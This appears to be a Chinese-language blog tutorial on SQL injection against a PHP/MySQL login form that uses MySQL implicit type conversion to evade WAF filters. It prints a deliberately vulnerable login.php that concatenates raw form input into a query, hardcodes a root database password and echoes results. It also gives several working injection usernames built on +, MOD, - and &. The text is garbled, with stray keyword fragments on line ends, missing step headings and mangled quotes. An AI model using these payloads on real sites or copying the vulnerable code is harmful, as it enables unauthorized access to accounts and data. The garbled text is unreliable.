web應用通常採用基於表單的身份驗證方式(頁面雛形以下圖所示),處理邏輯就是將表單中提交的用戶名和密
碼傳遞到後臺數據庫去查詢,並根據查詢結果判斷是否經過身份驗證。對於LAMP架構的web應用而言,處理邏輯採用PHP,後臺數據庫採用MySQL。而在這一處理過程,因爲種種處理不善,會致使很多嚴重的漏洞,除去弱口令與暴力破解,最多見的就是SQL注入。SQL注入能夠在SQLNuke——mysql 注入load_file Fuzz工具看到如何利用,而本篇博客的重點是利用MySQL隱形的類型轉換繞過WAF的檢測。php
(1)表單login.htmlhtml
<html> <body> <form id="form1" name="form1" method="post" action="login.php"> <label>UserName <input name="user" type="text" id="user"/> </label> <br/> <label>Password <input name="password" type="text" id="password"/> </label> <br/> <label> <input name="login" type="submit" id="login" value="Login"/> </label> </body> </html>
(2)認證處理login.phpmysql
<?php if(isset($_POST["login"])) { $link = mysql_connect("localhost","root","toor") or die ("cannot connect database".mysql_error()); mysql_select_db("member") or die ("cannot select the db"); $query = "select * from user where user='".$_POST["user"]."'and password='".md5($_POST["password"])."'"; echo $query."<br/>"; $result = mysql_query($query) or die ("the query failed:".mysql_error()); echo "<br/>"; $match_count = mysql_num_rows($result); if($match_count){ while($row = mysql_fetch_assoc($result)){ echo "<strong>User: </strong>".$row["user"]."<br/>"; echo "<strong>Password: </strong>".$row["password"]."<br/>"; echo "<br/>"; } } else { echo "Wrong User or password <br/>"; echo '<a href="http://10.1.36.34/login.html">Back</a><br/>'; } mysql_free_result($result); mysql_close($link); }
注意紅色字體部分,爲用戶輸入的用戶名和密碼,沒有進行任何過濾就傳入到數據庫中去進行查詢. 該腳本將查詢字符串及查詢結果展現在頁面中以供直觀的演示SQL查詢結果。web
你們看一張常見的用戶表user表,由兩個字段構成user用戶名和password字段。sql
表中包含8行數據數據庫
查詢結果以下圖所示架構
(2)輸入用戶名45a’+'b’#ide
dani,tanjiti,dani123,0dani 對應的數值爲0
123dani,123tanjiti對應的數值爲123
45dani,045tanjiti對應的數值爲45
'a'+'b'對應數值爲0+0=0,會把類型轉換後爲0的用戶名搜索出來
'45a'+'b'對應數值爲45+0=45,會把類型轉換後爲45的用戶名搜索出來
(3)輸入用戶名a’MOD’1′#工具
’a'MOD’1′對應的數值爲0 MOD 1 =0,會把user對應數值爲0的搜索出來post
」-」對應的數值爲0 -0 =0,會把user對應數值爲0的搜索出來
bit操做符&,|,^,<< ,>>也有一樣的效果
」/’1′對應的數值爲0 /1 =0,會把user對應數值爲0的搜索出來
bit操做符&,|,^,<< ,>>也有一樣的效果
(6)輸入用戶名a’&’b'#
’a'&’b'對應的數值爲0&0 =0,會把user對應數值爲0的搜索出來
對應WAF防火牆而言,當輸入’ or 1=’1 時,ModSecurity防火牆會報錯(我沒有試驗過ModSecurity,博客中有介紹)
http://vagosec.org/2013/04/mysql-implicit-type-conversion/